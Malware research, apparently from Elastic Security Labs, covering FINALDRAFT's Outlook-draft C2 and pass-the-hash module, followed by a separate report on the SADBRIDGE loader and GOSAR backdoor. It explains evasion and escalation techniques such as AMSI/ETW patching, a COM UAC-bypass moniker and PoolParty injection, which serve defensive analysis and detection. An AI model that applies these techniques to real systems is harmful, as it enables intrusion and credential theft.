During our analysis, we discovered that different communication methods are available from the configuration; however, the most contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the Microsoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family reported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.

The Microsoft Graph API token is obtained by FINALDRAFT using the https://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the configuration.

Once refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has administrator privileges:

• HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>
• HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\UUID\<uuid_from_configuration>

This token is reused across requests, if it is still valid.

The communication loop is described as follows:

• Create a session email draft if it doesn’t already exist.
• Read and delete command request email drafts created by the C2.
• Process commands
• Write command response emails as drafts for each processed command.

A check is performed to determine whether a session email, in the form of a command response email identified by the subject p_<session-id>, already exists. If it does not, one is created in the mail drafts. The content of this email is base64 encoded but not AES encrypted.

The session data is described in the structure below.

struct Session
{
  char random_bytes[30];
  uint32_t total_size;
  char field_22;
  uint64_t session_id;
  uint64_t build_number;
  char field_33;
};

Session data structure

The command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects r_<session-id>.

After reading the request, emails are then deleted.

Commands are then processed, and responses are written into new draft emails, each with the same p_<session-id> subject for each command response.

Content for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key used for encryption and decryption is located in the configuration blob.

Base64(AESEncrypt(ZlibCompress(data)))

Request messages sent from the C2 to the implant follow this structure.

struct C2Message{
  struct {
    uint8_t random_bytes[0x1E];  
    uint32_t message_size;    
    uint64_t session_id;      
  } header;                     // Size: 0x2A (42 bytes)
  
  struct {
    uint32_t command_size;                     
    uint32_t next_command_struct_offset;
    uint8_t command_id;                   
    uint8_t unknown[8];                   
    uint8_t command_args[];                       
  } commands[];
};

Request message structure

Response messages sent from the implant to C2 follow this structure.

struct ImplantMessage {
  struct Header {
    uint8_t random_bytes[0x1E];  
    uint32_t total_size;    
    uint8_t flag;		// Set to 1
    uint64_t session_id;
    uint16_t build_id;
    uint8_t pad[6];
  } header;
  
  struct Message {
    uint32_t actual_data_size_add_0xf;
    uint8_t command_id;
    uint8_t unknown[8];
    uint8_t flag_success;
    char newline[0x2];
    uint8_t actual_data[];
  }                    
};

Response message structure

Here is an example of data stolen by the implant.

Commands

FinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and network proxy capabilities.

Below is a table of the commands and their IDs:

FINALDRAFT command handler table

Gather computer information

Upon execution of the GatherComputerInformation command, information about the victim machine is collected and sent by FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses, and details about running processes.

This structure is described as follows:

struct ComputerInformation
{
  char field_0;
  uint64_t session_id;
  char field_9[9];
  char username[50];
  char computer_name[50];
  char field_76[16];
  char external_ip_address[20];
  char internal_ip_address[20];
  uint32_t sleep_value;
  char field_B2;
  uint32_t os_major_version;
  uint32_t os_minor_version;
  bool product_type;
  uint32_t os_build_number;
  uint16_t os_service_pack_major;
  char field_C2[85];
  char field_117;
  char current_module_name[50];
  uint32_t current_process_id;
};

Collected information structure

The external IP address is collected when enabled in the configuration.

This address is obtained by FINALDRAFT using the following list of public services.

IP lookup service list

Process injection

FINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a hidden process to inject into.

In cases where a process is created, the target process is either an executable path provided as a parameter to the command or defaults to mspaint.exe or conhost.exe as a fallback.

Depending on the command and its parameters, the process can be optionally created with its standard output handle piped. In this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the command response.

Another option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and injecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some information to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook transport channel, this involves creating an additional draft email.).

The process injection procedure is basic and based on VirtualAllocEx, WriteProcessMemory, and RtlCreateUserThread API.

Forwarding data from TCP, UDP, and named pipes

FINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.

Proxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP, messages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both cases, the data is read from the socket and forwarded to the transport channel.

Below is an example screenshot of the recvfrom call from the UDP listener.

Before starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the server shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule interfaces.

FINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value, “\x12\x34\xab\xcd\ff\xff\xcd\xab\x34\x12” and expects the server to echo the same magic value back before beginning to forward the received data.

For the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the command, after which it reads the data and forwards it through a separate channel.

File manipulation

For the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting them.

FINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS cluster level.

It first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses GetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl is then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the specified file and how much data is stored there in terms of cluster size.

For each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading and writing one cluster of data at a time from the source file to the destination file.

If the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's MFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier = 128). Data is then extracted from this attribute and written to the destination file using WriteFile.

Injected Modules

Our team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler performing process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT leverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same process, resolving its imports and calling its export entrypoint.

Network enumeration (ipconfig.x64.dll)

This module creates a named pipe (\\.\Pipe\E340C955-15B6-4ec9-9522-1F526E6FBBF1) waiting for FINALDRAFT to connect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password (Aslire597) as an argument, if the password is incorrect, the module will not run.

As its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information using Windows API’s (GetAdaptersAddresses, GetAdaptersInfo, GetNetworkParams) and reading the Windows registry keypath (SYSTEM\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces). After the data is retrieved, it is sent back to FINALDRAFT through the named pipe.

PowerShell execution (Psloader.x64.dll)

This module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code used is taken from PowerPick, a well-known open source offensive security tool.

To evade detection, the module first hooks the EtwEventWrite, ReportEventW, and AmsiScanBuffer APIs, forcing them to always return 0, which disables ETW logging and bypasses anti-malware scans.

Next, the DLL loads a .NET payload (PowerPick) stored in its .data section using the CLR Hosting technique.

The module creates a named pipe (\\.\Pipe\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2) which is used for command forwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write data to the pipe. Finally, the managed PowerPick binary is loaded and executed by the module.

Pass-the-Hash toolkit (pnt.x64.dll)

This module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH implementation is largely inspired by the one used by Mimikatz, enabling lateral movement.

A password (Aslire597), domain, and username with the NTLM hash, along with the file path of the program to be elevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an example of the command line.

program.exe <password> <domain>\<account>:<ntlm_hash> <target_process>

Like the other module, it creates a named pipe, ”\\.\Pipe\EAA0BF8D-CA6C-45eb-9751-6269C70813C9”, and awaits incoming connections from FINALDRAFT. This named pipe serves as a logging channel.

After establishing the pipe connection, the malware creates a target process in a suspended state using CreateProcessWithLogonW, identifies key structures like the LogonSessionList and LogonSessionListCount within the Local Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided argument.

Once the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM hash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in the blog post "Inside the Mimikatz Pass-the-Hash Command (Part 2)" by Praetorian. The result is then sent to the named pipe.

FINALDRAFT ELF variant

During this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols than the PE version, but has fewer features, suggesting it might be under development.

Additional transport channels

The ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:

FINALDRAFT ELF variant C2 communication options

From the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API channels.

While the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the implant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh tokens requested are written to a file on disk, either /var/log/installlog.log.<UUID_from_config> or /mnt/hgfsdisk.log.<UUID_from_config> if it fails to write to the prior file.

Below is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a Microsoft refresh token, the port number 0x1bb (443) at offset 0xc8, and flag for using HTTPS at offset 0xfc.

The domains are intentionally designed to typosquat well-known vendors, such as "VMSphere" (VMware vSphere). However, it's unclear which vendor "Hobiter" is attempting to impersonate in this instance.

Domain list

Commands

All of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated to collecting information about the victim's machine. Together, these commands gather the following details:

• Hostname
• Current logged-in user
• Intranet IP address
• External IP address
• Gateway IP address
• System boot time
• Operating system name and version
• Kernel version
• System architecture
• Machine GUID
• List of active network connections
• List of running processes
• Name of current process

Command Execution

While there are no process injection capabilities, the implant can execute shell commands directly. It utilizes popen for command execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.

Self Deletion

To dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed to sys_readlink. sys_unlink is then called to remove the executable file from the filesystem.

Older FINALDRAFT PE sample

During our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands but includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.

The name of the binary is Session.x64.dll, and its entrypoint export is called GoogleProxy:

HTTP transport channel

This older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.

In this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same domains were used by PATHLOADER, the domain (checkponit[.]com) was registered on 2022-08-26T09:43:16Z and domain (fortineat[.]com) was registred on 2023-11-08T09:47:47Z.

The domains purposely typosquat real known vendors, CheckPoint and Fortinet, in this case.

Domain list

Shell command

An additional command exists in this sample that is not present in later versions. This command, with ID 1, executes a shell command.

The execution is carried out by creating a cmd.exe process with the "/c" parameter, followed by appending the actual command to the parameter.

Detection

Elastic Defend detects the process injection mechanism through two rules. The first rule detects the WriteProcessMemory API call targeting another process, which is a common behavior observed in process injection techniques.

The second rule detects the creation of a remote thread to execute the shellcode.

We also detect the loading of the PowerShell engine by the Psloader.x64.dll module, which is injected into the known target mspaint.exe.

Malware and MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

• Command and Control
• Defense Evasion
• Discovery
• Execution
• Exfiltration
• Lateral Movement

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

• Web Service: One-Way Communication
• Encrypted Channel: Symmetric Cryptography
• Hide Artifacts: Hidden Window
• Masquerading: Match Legitimate Name or Location
• Masquerading: Rename System Utilities
• Process Injection: Portable Executable Injection
• Reflective Code Loading
• Use Alternate Authentication Material: Pass the Hash
• Network Service Discovery
• Process Discovery
• Query Registry
• Exfiltration Over Web Service

Mitigations

Detection

• Suspicious Memory Write to a Remote Process
• Unusual PowerShell Engine ImageLoad
• AMSI Bypass via Unbacked Memory
• AMSI or WLDP Bypass via Memory Patching
• Suspicious Execution via Windows Service
• Execution via Windows Command Line Debugging Utility
• Suspicious Parent-Child Relationship

YARA

Elastic Security has created the following YARA rules related to this post:

• Windows.Trojan.PathLoader
• Windows.Trojan.FinalDraft
• Linux.Trojan.FinalDraft
• Multi.Trojan.FinalDraft

Observations

The following observables were discussed in this research:

Elastic Security Labs recently observed a new intrusion set targeting Chinese-speaking regions, tracked as REF3864. These organized campaigns target victims by masquerading as legitimate software such as web browsers or social media messaging services. The threat group behind these campaigns shows a moderate degree of versatility in delivering malware across multiple platforms such as Linux, Windows, and Android. During this investigation, our team discovered a unique Windows infection chain with a custom loader we call SADBRIDGE. This loader deploys a Golang-based reimplementation of QUASAR, which we refer to as GOSAR. This is our team’s first time observing a rewrite of QUASAR in the Golang programming language.

Key takeaways

• Ongoing campaigns targeting Chinese language speakers with malicious installers masquerading as legitimate software like Telegram and the Opera web browser
• Infection chains employ injection and DLL side-loading using a custom loader (SADBRIDGE)
• SADBRIDGE deploys a newly-discovered variant of the QUASAR backdoor written in Golang (GOSAR)
• GOSAR is a multi-functional backdoor under active development with incomplete features and iterations of improved features observed over time
• Elastic Security provides comprehensive prevention and detection capabilities against this attack chain

REF3864 Campaign Overview

In November, the Elastic Security Labs team observed a unique infection chain when detonating several different samples uploaded to VirusTotal. These different samples were hosted via landing pages masquerading as legitimate software such as Telegram or the Opera GX browser.

During this investigation, we uncovered multiple infection chains involving similar techniques:

• Trojanized MSI installers with low detections
• Masquerading using legitimate software bundled with malicious DLLs
• Custom SADBRIDGE loader deployed
• Final stage GOSAR loaded

We believe these campaigns have flown under the radar due to multiple levels of abstraction. Typically, the first phase involves opening an archive file (ZIP) that includes an MSI installer. Legitimate software like the Windows x64dbg.exe debugging application is used behind-the-scenes to load a malicious, patched DLL (x64bridge.dll). This DLL kicks off a new legitimate program (MonitoringHost.exe) where it side-loads another malicious DLL (HealthServiceRuntime.dll), ultimately performing injection and loading the GOSAR implant in memory via injection.

Malware researchers extracted SADBRIDGE configurations that reveal adversary-designated campaign dates, and indicate operations with similar TTP’s have been ongoing since at least December 2023. The command-and-control (C2) infrastructure for GOSAR often masquerades under trusted services or software to appear benign and conform to victim expectations for software installers. Throughout the execution chain, there is a focus centered around enumerating Chinese AV products such as 360tray.exe, along with firewall rule names and descriptions in Chinese. Due to these customizations we believe this threat is geared towards targeting Chinese language speakers. Additionally, extensive usage of Chinese language logging indicates the attackers are also Chinese language speakers.

QUASAR has previously been used in state-sponsored espionage, non-state hacktivism, and criminal financially motivated attacks since 2017 (Qualys, Evolution of Quasar RAT), including by China-linked APT10. A rewrite in Golang might capitalize on institutional knowledge gained over this period, allowing for additional capabilities without extensive retraining of previously effective TTPs.

GOSAR extends QUASAR with additional information-gathering capabilities, multi-OS support, and improved evasion against anti-virus products and malware classifiers. However, the generic lure websites, and lack of additional targeting information, or actions on the objective, leave us with insufficient evidence to identify attacker motivation(s).

SADBRIDGE Introduction

The SADBRIDGE malware loader is packaged as an MSI executable for delivery and uses DLL side-loading with various injection techniques to execute malicious payloads. SADBRIDGE abuses legitimate applications such as x64dbg.exe and MonitoringHost.exe to load malicious DLLs like x64bridge.dll and HealthServiceRuntime.dll, which leads to subsequent stages and shellcodes.

Persistence is achieved through service creation and registry modifications. Privilege escalation to Administrator occurs silently using a UAC bypass technique that abuses the ICMLuaUtil COM interface. In addition, SADBRIDGE incorporates a privilege escalation bypass through Windows Task Scheduler to execute its main payload with SYSTEM level privileges.

The SADBRIDGE configuration is encrypted using a simple subtraction of 0x1 on each byte of the configuration string. The encrypted stages are all appended with a .log extension, and decrypted during runtime using XOR and the LZNT1 decompression algorithm.

SADBRIDGE employs PoolParty, APC queues, and token manipulation techniques for process injection. To avoid sandbox analysis, it uses long Sleep API calls. Another defense evasion technique involves API patching to disable Windows security mechanisms such as the Antimalware Scan Interface (AMSI) and Event Tracing for Windows (ETW).

The following deep dive is structured to explore the execution chain, providing a step-by-step walkthrough of the capabilities and functionalities of significant files and stages, based on the configuration of the analyzed sample. The analysis aims to highlight the interaction between each component and their roles in reaching the final payload.

SADBRIDGE Code Analysis

MSI Analysis

The initial files are packaged in an MSI using Advanced Installer, the main files of interest are x64dbg.exe and x64bridge.dll.

By using MSI tooling (lessmsi), we can see the LaunchApp entrypoint in aicustact.dll is configured to execute the file path specified in the AI_APP_FILE property.

If we navigate to this AI_APP_FILE property, we can see the file tied to this configuration is x64dbg.exe. This represents the file that will be executed after the installation is completed, the legitimate NetFxRepairTool.exe is never executed.

x64bridge.dll Side-loading

When x64dbg.exe gets executed, it calls the BridgeInit export from x64bridge.dll. BridgeInit is a wrapper for the BridgeStart function.

Similar to techniques observed with BLISTER, SADBRIDGE patches the export of a legitimate DLL.

During the malware initialization routine, SADBRIDGE begins with generating a hash using the hostname and a magic seed 0x4E67C6A7. This hash is used as a directory name for storing the encrypted configuration file. The encrypted configuration is written to C:\Users\Public\Documents\<hostname_hash>\edbtmp.log. This file contains the attributes FILE_ATTRIBUTE_SYSTEM, FILE_ATTRIBUTE_READONLY, FILE_ATTRIBUTE_HIDDEN to hide itself from an ordinary directory listing.

Decrypting the configuration is straightforward, the encrypted chunks are separated with null bytes. For each byte within the encrypted chunks, we can increment them by 0x1.

The configuration consists of:

• Possible campaign date
• Strings to be used for creating services
• New name for MonitoringHost.exe (DevQueryBroker.exe)
• DLL name for the DLL to be sideloaded by MonitoringHost.exe (HealthServiceRuntime.dll)
• Absolute paths for additional stages (.log files)
• The primary injection target for hosting GOSAR (svchost.exe)

The DevQueryBroker directory (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\) contains all of the encrypted stages (.log files) that are decrypted at runtime. The file (DevQueryBroker.exe) is a renamed copy of Microsoft legitimate application (MonitoringHost.exe).

Finally, it creates a process to run DevQueryBroker.exe which side-loads the malicious HealthServiceRuntime.dll in the same folder.

HealthServiceRuntime.dll

This module drops both an encrypted and partially decrypted shellcode in the User’s %TEMP% directory. The file name for the shellcode follows the format: log<random_string>.tmp. Each byte of the partially decrypted shellcode is then decremented by 0x10 to fully decrypt. The shellcode is executed in a new thread of the same process.

The malware leverages API hashing using the same algorithm in research published by SonicWall, the hashing algorithm is listed in the Appendix section. The shellcode decrypts DevQueryBroker.log into a PE file then performs a simple XOR operation with a single byte (0x42) in the first third of the file where then it decompresses the result using the LZNT1 algorithm.

The shellcode then unmaps any existing mappings at the PE file's preferred base address using NtUnmapViewOfSection, ensuring that a call to VirtualAlloc will allocate memory starting at the preferred base address. Finally, it maps the decrypted PE file to this allocated memory and transfers execution to its entry point. All shellcodes identified and executed by SADBRIDGE share an identical code structure, differing only in the specific .log files they reference for decryption and execution.

DevQueryBroker.log

The malware dynamically loads amsi.dll to disable critical security mechanisms in Windows. It patches AmsiScanBuffer in amsi.dll by inserting instructions to modify the return value to 0x80070057, the standardized Microsoft error code E_INVALIDARG indicating invalid arguments, and returning prematurely, to effectively bypass the scanning logic. Similarly, it patches AmsiOpenSession to always return the same error code E_INVALIDARG. Additionally, it patches EtwEventWrite in ntdll.dll, replacing the first instruction with a ret instruction to disable Event Tracing for Windows (ETW), suppressing any logging of malicious activity.

Following the patching, an encrypted shellcode is written to temp.ini at path (C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini).
The malware checks the current process token’s group membership to determine its privilege level. It verifies if the process belongs to the LocalSystem account by initializing a SID with the SECURITY_LOCAL_SYSTEM_RID and calling CheckTokenMembership. If not, it attempts to check for membership in the Administrators group by creating a SID using SECURITY_BUILTIN_DOMAIN_RID and DOMAIN_ALIAS_RID_ADMINS and performing a similar token membership check.

If the current process does not have LocalSystem or Administrator privileges, privileges are first elevated to Administrator through a UAC bypass mechanism by leveraging the ICMLuaUtil COM interface. It crafts a moniker string "Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}" to create an instance of the CMSTPLUA object with Administrator privileges. Once the object is created and the ICMLuaUtil interface is obtained, the malware uses the exposed ShellExec method of the interface to run DevQueryBroker.exe.

If a task or a service is not created to run DevQueryBroker.exe routinely, the malware checks if the Anti-Virus process 360tray.exe is running. If it is not running, a service is created for privilege escalation to SYSTEM, with the following properties:

• Service name: DevQueryBrokerService
  Binary path name: “C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\DevQueryBroker.exe -svc”.
• Display name: DevQuery Background Discovery Broker Service
• Description: Enables apps to discover devices with a background task.
• Start type: Automatically at system boot
• Privileges: LocalSystem

If 360tray.exe is detected running, the malware writes an encrypted PE file to DevQueryBrokerService.log, then maps a next-stage PE file (Stage 1) into the current process memory, transferring execution to it.

Once DevQueryBroker.exe is re-triggered with SYSTEM level privileges and reaches this part of the chain, the malware checks the Windows version. For systems running Vista or later (excluding Windows 7), it maps another next-stage (Stage 2) into memory and transfers execution there.

On Windows 7, however, it executes a shellcode, which decrypts and runs the DevQueryBrokerPre.log file.

Stage 1 Injection (explorer.exe)

SADBRIDGE utilizes PoolParty Variant 7 to inject shellcode into explorer.exe by targeting its thread pool’s I/O completion queue. It first duplicates a handle to the target process's I/O completion queue. It then allocates memory within explorer.exe to store the shellcode. Additional memory is allocated to store a crafted TP_DIRECT structure, which includes the base address of the shellcode as the callback address. Finally, it calls ZwSetIoCompletion, passing a pointer to the TP_DIRECT structure to queue a packet to the I/O completion queue of the target process's worker factory (worker threads manager), effectively triggering the execution of the injected shellcode.

This shellcode decrypts the DevQueryBrokerService.log file, unmaps any memory regions occupying its preferred base address, maps the PE file to that address, and then executes its entry point. This behavior mirrors the previously observed shellcode.

Stage 2 Injection (spoolsv.exe/lsass.exe)

For Stage 2, SADBRIDGE injects shellcode into spoolsv.exe, or lsass.exe if spoolsv.exe is unavailable, using the same injection technique as in Stage 1. The shellcode exhibits similar behavior to the earlier stages: it decrypts DevQueryBrokerPre.log into a PE file, unmaps any regions occupying its preferred base address, maps the PE file, and then transfers execution to its entry point.

DevQueryBrokerService.log

The shellcode decrypted from DevQueryBrokerService.log as mentioned in the previous section leverages a privilege escalation technique using the Windows Task Scheduler. SADBRIDGE integrates a public UAC bypass technique using the IElevatedFactorySever COM object to indirectly create the scheduled task. This task is configured to run DevQueryBroker.exe on a daily basis with SYSTEM level privileges using the task name DevQueryBrokerService.

In order to cover its tracks, the malware spoofs the image path and command-line by modifying the Process Environment Block (PEB) directly, likely in an attempt to disguise the COM service as coming from explorer.exe.

DevQueryBrokerPre.log

SADBRIDGE creates a service named DevQueryBrokerServiceSvc under the registry subkey SYSTEM\CurrentControlSet\Services\DevQueryBrokerServiceSvc with the following attributes:

• Description: Enables apps to discover devices with a background task.
• DisplayName: DevQuery Background Discovery Broker Service
• ErrorControl: 1
• ImagePath: %systemRoot%\system32\svchost.exe -k netsvcs
• ObjectName: LocalSystem
• Start: 2 (auto-start)
• Type: 16.
• Failure Actions:
  • Resets failure count every 24 hours.
  • Executes three restart attempts: a 20ms delay for the first, and a 1-minute delay for the second and third.

The service parameters specify the ServiceDll located at C:\Program Files (x86)\Common Files\Microsoft Shared\Stationery\<hostname_hash>\DevQueryBrokerService.dll. If the DLL file does not exist, it will be dropped to disk right after.

DevQueryBrokerService.dll has a similar code structure as HealthServiceRuntime.dll, which is seen in the earlier stages of the execution chain. It is responsible for decrypting DevQueryBroker.log and running it. The ServiceDll will be loaded and executed by svchost.exe when the service starts.

Additionally, it modifies the SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost\netsvcs key to include an entry for DevQueryBrokerServiceSvc to integrate the newly created service into the group of services managed by the netsvcs service host group.

SADBRIDGE then deletes the scheduled task and service created previously by removing the registry subkeys SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Schedule\\TaskCache\\Tree\\DevQueryBrokerService and SYSTEM\\CurrentControlSet\\Services\\DevQueryBrokerService.

Finally, it removes the files DevQueryBroker.exe and HealthServiceRuntime.dll in the C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker folder, as the new persistence mechanism is in place.

GOSAR Injection

In the latter half of the code, SADBRIDGE enumerates all active sessions on the local machine using the WTSEnumerateSessionsA API.

If sessions are found, it iterates through each session:

• For each session, it attempts to retrieve the username (WTSUserName) using WTSQuerySessionInformationA. If the query fails, it moves to the next session.
• If WTSUserName is not empty, the code targets svchost.exe, passing its path, the session ID, and the content of the loader configuration to a subroutine that injects the final stage.
• If WTSUserName is empty but the session's WinStationName is "Services" (indicating a service session), it targets dllhost.exe instead, passing the same parameters to the final stage injection subroutine.

If no sessions are found, it enters an infinite loop to repeatedly enumerate sessions and invoke the subroutine for injecting the final stage, while performing checks to avoid redundant injections.

Logged-in sessions target svchost.exe, while service sessions or sessions without a logged-in user target dllhost.exe.

If a session ID is available, the code attempts to duplicate the user token for that session and elevate the duplicated token's integrity level to S-1-16-12288 (System integrity). It then uses the elevated token to create a child process (svchost.exe or dllhost.exe) via CreateProcessAsUserA.

If token manipulation fails or no session ID is available (system processes can have a session ID of 0), it falls back to creating a process without a token using CreateProcessA.

The encrypted shellcode C:\ProgramData\Microsoft\DeviceSync\Device\Stage\Data\DevQueryBroker\temp.ini is decrypted using the same XOR and LZNT1 decompression technique seen previously to decrypt .log files, and APC injection is used to queue the shellcode for execution in the newly created process’s thread.

Finally, the injected shellcode decrypts DevQueryBrokerCore.log to GOSAR and runs it in the newly created process’s memory.

GOSAR Introduction

GOSAR is a multi-functional remote access trojan found targeting Windows and Linux systems. This backdoor includes capabilities such as retrieving system information, taking screenshots, executing commands, keylogging, and much more. The GOSAR backdoor retains much of QUASAR's core functionality and behavior, while incorporating several modifications that differentiate it from the original version.

By rewriting malware in modern languages like Go, this can offer reduced detection rates as many antivirus solutions and malware classifiers struggle to identify malicious strings/characteristics under these new programming constructs. Below is a good example of an unpacked GOSAR receiving only 5 detections upon upload.

Notably, this variant supports multiple platforms, including ELF binaries for Linux systems and traditional PE files for Windows. This cross-platform capability aligns with the adaptability of Go, making it more versatile than the original .NET-based QUASAR. Within the following section, we will focus on highlighting GOSAR’s code structure, new features and additions compared to the open-source version (QUASAR).

GOSAR Code Analysis Overview

Code structure of GOSAR

As the binary retained all its symbols, we were able to reconstruct the source code structure, which was extracted from a sample of version 0.12.01

• vibrant/config: Contains the configuration files for the malware.
• vibrant/proto: Houses all the Google Protocol Buffers (proto) declarations.
• vibrant/network: Includes functions related to networking, such as the main connection loop, proxy handling and also thread to configure the firewall and setting up a listener
• vibrant/msgs/resolvers: Defines the commands handled by the malware. These commands are assigned to an object within the vibrant_msgs_init* functions.
• vibrant/msgs/services: Introduces new functionality, such as running services like keyloggers, clipboard logger, these services are started in the vibrant_network._ptr_Connection.Start function.
• vibrant/logs: Responsible for logging the malware’s execution. The logs are encrypted with an AES key stored in the configuration. The malware decrypts the logs in chunks using AES.
• vibrant/pkg/helpers: Contains helper functions used across various malware commands and services.
• vibrant/pkg/screenshot: Handles the screenshot capture functionality on the infected system.
• vibrant/pkg/utils: Includes utility functions, such as generating random values.
• vibrant/pkg/native: Provides functions for calling Windows API (WINAPI) functions.

New Additions to GOSAR

Communication and information gathering

This new variant continues to use the same communication method as the original, based on TCP TLS. Upon connection, it first sends system information to the C2, with 4 new fields added:

• IPAddress
• AntiVirus
• ClipboardSettings
• Wallets

The list of AntiViruses and digital wallets are initialized in the function vibrant_pkg_helpers_init and can be found at the bottom of this document.

Services

The malware handles 3 services that are started during the initial connection of the client to the C2:

• vibrant_services_KeyLogger
• vibrant_services_ClipboardLogger
• vibrant_services_TickWriteFile

KeyLogger

The keylogging functionality in GOSAR is implemented in the vibrant_services_KeyLogger function. This feature relies on Windows APIs to intercept and record keystrokes on the infected system by setting a global Windows hook with SetWindowsHookEx with the parameter WH_KEYBOARD_LL to monitor low-level keyboard events. The hook function is named vibrant_services_KeyLogger_func1.

ClipboardLogger

The clipboard logging functionality is straightforward and relies on Windows APIs. It first checks for the availability of clipboard data using IsClipboardFormatAvailable then retrieves it using GetClipboardData API.

TickWriteFile

Both ClipboardLogger and KeyLogger services collect data that is written by the TickWriteFile periodically to directory (C:\ProgramData\Microsoft\Windows\Start Menu\Programs\diagnostics) under a file of the current date, example 2024-11-27.
It can be decrypted by first subtracting the value 0x1f then xoring it with the value 0x18 as shown in the CyberChef recipe.

Networking setup

After initializing its services, the malware spawns three threads dedicated to its networking setup.

• vibrant_network_ConfigFirewallRule
• vibrant_network_ConfigHosts
• vibrant_network_ConfigAutoListener

Threads handling networking setup

ConfigFirewallRule

The malware creates an inbound firewall rule for the ports range 51756-51776 under a Chinese name that is translated to Distributed Transaction Coordinator (LAN) it allows all programs and IP addresses inbound the description is set to :Inbound rules for the core transaction manager of the Distributed Transaction Coordinator service are managed remotely through RPC/TCP.

ConfigHosts

This function adds an entry to c:\Windows\System32\Drivers\etc\hosts the following 127.0.0.1 micrornetworks.com. The reason for adding this entry is unclear, but it is likely due to missing functionalities or incomplete features in the malware's current development stage.

ConfigAutoListener

This functionality of the malware runs an HTTP server listener on the first available port within the range 51756-51776, which was previously allowed by a firewall rule. Interestingly, the server does not handle any commands, which proves that the malware is still under development. The current version we have only processes a GET request to the URI /security.js, responding with the string callback();, any other request returns a 404 error code. This minimal response could indicate that the server is a placeholder or part of an early development stage, with the potential for more complex functionalities to be added later

Logs

The malware saves its runtime logs in the directory: %APPDATA%\Roaming\Microsoft\Logs under the filename formatted as: windows-update-log-<YearMonthDay>.log.
Each log entry is encrypted with HMAC-AES algorithm; the key is hardcoded in the vibrant_config function, the following is an example:

The attacker can remotely retrieve the malware's runtime logs by issuing the command ResolveGetRunLogs.

Plugins

The malware has the capability to execute plugins, which are PE files downloaded from the C2 and stored on disk encrypted with an XOR algorithm. These plugins are saved at the path: C:\ProgramData\policy-err.log. To execute a plugin, the command ResolveDoExecutePlugin is called, it first checks if a plugin is available.

It then loads a native DLL reflectively that is stored in base64 format in the binary named plugins.dll and executes its export function ExecPlugin.

